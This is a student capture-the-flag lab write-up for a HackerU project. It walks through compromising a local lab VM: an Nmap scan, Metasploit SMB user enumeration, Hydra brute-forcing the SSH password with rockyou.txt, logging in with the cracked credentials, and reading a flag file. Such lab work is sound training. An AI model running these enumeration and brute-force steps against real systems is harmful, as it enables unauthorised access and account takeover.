

## Project III

### Bypassing the perimeter

Frejer Witold

Note: Remember to set up the imported machine and your Kali machine to use the NAT Network interface (172.20.10.0/24)

NatNetworkProjekt 172.20.10.0/24 fd17:625c:f037:140a::/64 Enabled

General Options Przekierowanie portów

Nazwa: NatNetworkProjekt

IPv4 Prefix: 172.20.10.0/24

☒ Enable DHCP

☐ Enable IPv6

IPv6 Prefix: fd17:625c:f037:140a::/64

☐ Rozgłasza domyślną trasę adresu IPv6

Zastosuj Zresetuj

Cyber Infrastructure - Final Project - Ustawienia

Sieć

Karta 1 Karta 2 Karta 3 Karta 4

☒ Włącz kartę sieciową

Podłączona do: Sieć NAT

Nazwa: NatNetworkProjekt

▼ Zaawansowane

Typ karty: Intel PRO/1000 MT Desktop (82540EM)

Tryb nasłuchiwania: Pozwalaj wszystkim

Adres MAC: 080027407636

☒ Kabel podłączony

Wykryto nieprawidłowe ustawienia

OK Anuluj Pomoc

## Scan a given network and find a vulnerable machine with open ports.

1 Use a scanning tool (Nmap) to enumerate the vulnerable machine.

```
(kali㉿kali)-[/usr/share/wordlists]
$ nmap -sV 172.20.10.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-12 14:31 CEST
Nmap scan report for 172.20.10.4
Host is up (0.00021s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
139/tcp    open  netbios-ssn  Samba smbd 4.6.2
445/tcp    open  netbios-ssn  Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.29 seconds
```

The first step involved scanning the network to identify machines with open ports. We used Nmap to determine which ports were accessible on machines within the 172.20.10.4 network.

### Command Executed:

```
bash
nmap -sV 172.20.10.4
```

### Results:

**172.20.10.4:** Ports 139 and 445 open (Samba smbd 4.6.2)

So we can execute metasploit on port 445.

2 Use Metasploit to find an exploit for username enumeration according to the open services you found in the vulnerable machine.

We utilized Metasploit to enumerate users on the SMB server running on port 445.

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: View missing module options with show missing

# cowsay++

< metasploit >

      /\
     (oo)
    (--)
   (---) \
  (---)  *

      =[ metasploit v6.4.18-dev ]
+ -- --=[ 2438 exploits - 1251 auxiliary - 429 post ]
+ -- --=[ 1471 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > 
```

Search for exploit for SMB service on Metasploit.

```
msf6 > search smb_enumusers

Matching Modules
=====
#  Name
-  -
0  auxiliary/scanner/smb/smb_enumusers_domain . normal No SMB Domain User Enumeration
1  auxiliary/scanner/smb/smb_enumusers . normal No SMB User Enumeration (SAM EnumUsers)

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/smb/smb_enumusers
```

Use the smb\_enumusers exploit to enumerate users working via the SMB service.

Use the smb\_enumusers module to enumerate users:

```
msf6 > use auxiliary/scanner/smb/smb_enumusers
msf6 auxiliary(scanner/smb/smb_enumusers) > options is using 99.2% of 1.96GB

Module options (auxiliary/scanner/smb/smb_enumusers):
  Name          Current Setting  Required  Description
  ---          -
  DB_ALL_USERS   false           no        Add all enumerated usernames to the database
  RHOSTS         yes            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  SMBDomain      .              no        The Windows domain to use for authentication
  SMBPass        no            no        The password for the specified username
  SMBUser        no            no        The username to authenticate as
  THREADS        1             yes       The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_enumusers) > set RHOSTS 172.20.10.4
RHOSTS => 172.20.10.4
msf6 auxiliary(scanner/smb/smb_enumusers) > set THREADS 10
THREADS => 10
msf6 auxiliary(scanner/smb/smb_enumusers) > run

[+] 172.20.10.4:139 - UBUNTU [ jessica ] ( LockoutTries=0 PasswordMin=5 )
[*] 172.20.10.4: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_enumusers) >
```

The enumeration process provided a list of usernames from the SMB service.

3 Use Hydra to crack the password using the username you found with rockyou.txt wordlist.

We used Hydra to attempt password cracking against the usernames found through SMB enumeration. The rockyou.txt wordlist was used for brute-force attempts. Login is jessica we get it from metasploit response.

```
(kali@kali)-[/usr/share/wordlists]
$ hydra -l jessica -P /usr/share/wordlists/rockyou.txt smb://172.20.10.4
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret
service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and
ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-12 14:31:28
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 14344399 login tries (l:1/p:14344399), ~14344399
tries per task
[DATA] attacking smb://172.20.10.4:445/
[ERROR] target smb://172.20.10.4:445/ does not support SMBv1
```

As you see there is a problem with attack target by SMB version 1. Hydra doesnt support it. So I decide to attack machine with ssh protocole, it was also open as you see in nmap results.

```
(kali@kali)-[/usr/share/wordlists]
$ hydra -l jessica -P /usr/share/wordlists/rockyou.txt ssh://172.20.10.4
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret
service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and
ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-12 14:32:07
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduc
e the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~8965
25 tries per task
[DATA] attacking ssh://172.20.10.4:22/
[22][ssh] host: 172.20.10.4  login: jessica  password: dragon
```

We Get the password.

Login : jessica password: dragon

4 Connect remotely via SSH using the username and password you found.

After successfully cracking the password, we used the obtained credentials to connect to the target machine via SSH.

```
(kali㉿kali)-[/usr/share/wordlists]
└─$ ssh jessica@172.20.10.4
The authenticity of host '172.20.10.4 (172.20.10.4)' can't be established.
ED25519 key fingerprint is SHA256:nUSb3IYj9TwjbH8J073wpYjTdZjRAIuycVWNR1GRm0I.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.20.10.4' (ED25519) to the list of known hosts.
jessica@172.20.10.4's password:
Permission denied, please try again.
jessica@172.20.10.4's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-155-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Mon Aug 12 14:35:12 UTC 2024

System load:  0.0               Processes:            109
Usage of /:   99.2% of 1.96GB   Users logged in:     0
Memory usage: 6%               IPv4 address for enp0s3: 172.20.10.4
Swap usage:   0%

⇒ / is using 99.2% of 1.96GB

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sun Sep 24 11:09:49 2023 from 10.0.2.240
jessica@ubuntu:~$
```

Successfully logged into the target machine.

5 Find the flag.txt file and read the content.

```
Last login: Sun Sep 24 11:09:49 2023 from 10.0.2.240
jessica@ubuntu:~$ find / -name flag.txt 2>/dev/null
/var/local/flag.txt
jessica@ubuntu:~$ cat /var/local/flag.txt
HackerU{M1ss10n_5ucc3ss_Cy83r_Thr3at5_F0und!}
jessica@ubuntu:~$
```

Once connected via SSH, we searched for the flag.txt file and read its contents.

Located and read the content of the flag.txt file.

Flag is Hackeru{...}

Well done.

```
ubuntu 20.04.6 LTS ubuntu tty1
ubuntu login: Jessica
Password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-155-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Mon Aug 12 14:48:02 UTC 2024

System load:  0.0               Processes:    116
Usage of /:   99.2K of 1.96GB   Users logged in: 1
Memory usage: 7%              IPv4 address for enp0s3: 172.20.10.4
Swap usage:   0%

=> / is using 99.2K of 1.96GB

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Aug 12 14:35:12 UTC 2024 from 172.20.10.6 on pts/0
jessica@ubuntu:~$ ls
-rwxr-xr-x 1 jessica jessica 4096 Aug 12 14:35 startup.sh
jessica@ubuntu:~$ pwd
/home/jessica
jessica@ubuntu:~$
```

Proof.